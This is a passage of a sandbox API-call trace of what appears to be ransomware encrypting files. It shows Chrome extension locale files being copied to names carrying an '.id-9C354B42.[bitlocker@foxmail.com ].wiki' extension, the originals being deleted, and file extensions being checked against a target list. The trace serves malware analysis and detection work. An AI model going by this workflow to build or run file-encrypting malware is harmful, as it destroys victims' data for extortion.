lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.602] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.602] SetEndOfFile (hFile=0x198) returned 1 [0173.603] CloseHandle (hObject=0x198) returned 1 [0173.603] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.603] SetEndOfFile (hFile=0x320) returned 1 [0173.603] CloseHandle (hObject=0x320) returned 1 [0173.604] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.604] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json")) returned 1 [0173.604] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.604] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.604] lstrlenW (lpString=".doc") returned 4 [0173.604] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.604] lstrlenW (lpString=".docx") returned 5 [0173.604] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.604] lstrlenW (lpString=".pdf") returned 4 [0173.604] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.604] lstrlenW (lpString=".xls") returned 4 [0173.604] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.604] lstrlenW (lpString=".xlsx") returned 5 [0173.604] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.604] lstrlenW (lpString=".ppt") returned 4 [0173.604] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.604] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.604] lstrlenW (lpString=".zip") returned 4 [0173.604] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.604] lstrlenW (lpString=".rar") returned 4 [0173.604] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.604] lstrlenW (lpString=".bz2") returned 4 [0173.605] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.605] lstrlenW (lpString=".7z") returned 3 [0173.605] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.605] lstrlenW (lpString=".dbf") returned 4 [0173.605] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.605] lstrlenW (lpString=".1cd") returned 4 [0173.605] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.605] lstrlenW (lpString=".jpg") returned 4 [0173.605] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.605] lstrlenW (lpString=".doc") returned 4 [0173.605] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.605] lstrlenW (lpString=".docx") returned 5 [0173.605] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.605] lstrlenW (lpString=".pdf") returned 4 [0173.605] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.605] lstrlenW (lpString=".xls") returned 4 [0173.605] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.605] lstrlenW (lpString=".xlsx") returned 5 [0173.605] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.605] lstrlenW (lpString=".ppt") returned 4 [0173.605] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.605] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.605] lstrlenW (lpString=".zip") returned 4 [0173.605] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.606] lstrlenW (lpString=".rar") returned 4 [0173.606] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.606] lstrlenW (lpString=".bz2") returned 4 [0173.606] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.606] lstrlenW (lpString=".7z") returned 3 [0173.606] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.606] lstrlenW (lpString=".dbf") returned 4 [0173.606] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.606] lstrlenW (lpString=".1cd") returned 4 [0173.606] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.606] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 152 [0173.606] lstrlenW (lpString=".jpg") returned 4 [0173.606] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.606] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.606] lstrlenW (lpString="messages.json") returned 13 [0173.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.607] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=265) returned 1 [0173.607] CloseHandle (hObject=0x320) returned 1 [0173.607] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json")) returned 0x2020 [0173.607] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.607] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.607] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.608] GetLastError () returned 0x0 [0173.608] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x109, lpOverlapped=0x0) returned 1 [0173.609] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.610] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.610] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.610] SetEndOfFile (hFile=0x198) returned 1 [0173.610] CloseHandle (hObject=0x198) returned 1 [0173.610] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.610] SetEndOfFile (hFile=0x320) returned 1 [0173.611] CloseHandle (hObject=0x320) returned 1 [0173.611] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.611] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json")) returned 1 [0173.611] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.611] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.611] lstrlenW (lpString=".doc") returned 4 [0173.611] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.611] lstrlenW (lpString=".docx") returned 5 [0173.611] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.611] lstrlenW (lpString=".pdf") returned 4 [0173.612] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.612] lstrlenW (lpString=".xls") returned 4 [0173.612] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.612] lstrlenW (lpString=".xlsx") returned 5 [0173.612] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.612] lstrlenW (lpString=".ppt") returned 4 [0173.612] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.612] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.612] lstrlenW (lpString=".zip") returned 4 [0173.612] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.612] lstrlenW (lpString=".rar") returned 4 [0173.612] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.612] lstrlenW (lpString=".bz2") returned 4 [0173.612] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.612] lstrlenW (lpString=".7z") returned 3 [0173.612] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.612] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.612] lstrlenW (lpString=".dbf") returned 4 [0173.612] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.612] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.612] lstrlenW (lpString=".1cd") returned 4 [0173.612] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.612] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.612] lstrlenW (lpString=".jpg") returned 4 [0173.612] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.612] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.612] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.612] lstrlenW (lpString=".doc") returned 4 [0173.612] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.612] lstrlenW (lpString=".docx") returned 5 [0173.613] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.613] lstrlenW (lpString=".pdf") returned 4 [0173.613] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.613] lstrlenW (lpString=".xls") returned 4 [0173.613] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.613] lstrlenW (lpString=".xlsx") returned 5 [0173.613] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.613] lstrlenW (lpString=".ppt") returned 4 [0173.613] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.613] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.613] lstrlenW (lpString=".zip") returned 4 [0173.613] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.613] lstrlenW (lpString=".rar") returned 4 [0173.613] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.613] lstrlenW (lpString=".bz2") returned 4 [0173.613] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.613] lstrlenW (lpString=".7z") returned 3 [0173.613] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.613] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.613] lstrlenW (lpString=".dbf") returned 4 [0173.613] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.613] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.613] lstrlenW (lpString=".1cd") returned 4 [0173.613] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.613] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 152 [0173.613] lstrlenW (lpString=".jpg") returned 4 [0173.613] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.614] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.614] lstrlenW (lpString="messages.json") returned 13 [0173.614] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.614] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=259) returned 1 [0173.614] CloseHandle (hObject=0x320) returned 1 [0173.614] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json")) returned 0x2020 [0173.614] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.614] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.614] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.615] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.615] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.615] GetLastError () returned 0x0 [0173.615] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x103, lpOverlapped=0x0) returned 1 [0173.616] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.617] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.617] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.617] SetEndOfFile (hFile=0x198) returned 1 [0173.617] CloseHandle (hObject=0x198) returned 1 [0173.617] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.617] SetEndOfFile (hFile=0x320) returned 1 [0173.618] CloseHandle (hObject=0x320) returned 1 [0173.618] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.618] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json")) returned 1 [0173.619] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.619] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.619] lstrlenW (lpString=".doc") returned 4 [0173.619] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.619] lstrlenW (lpString=".docx") returned 5 [0173.619] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.619] lstrlenW (lpString=".pdf") returned 4 [0173.619] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.619] lstrlenW (lpString=".xls") returned 4 [0173.619] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.619] lstrlenW (lpString=".xlsx") returned 5 [0173.619] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.619] lstrlenW (lpString=".ppt") returned 4 [0173.619] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.619] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.619] lstrlenW (lpString=".zip") returned 4 [0173.619] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.619] lstrlenW (lpString=".rar") returned 4 [0173.619] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.619] lstrlenW (lpString=".bz2") returned 4 [0173.619] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.619] lstrlenW (lpString=".7z") returned 3 [0173.619] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.619] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.620] lstrlenW (lpString=".dbf") returned 4 [0173.620] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.620] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.620] lstrlenW (lpString=".1cd") returned 4 [0173.620] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.620] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 152 [0173.620] lstrlenW (lpString=".jpg") returned 4 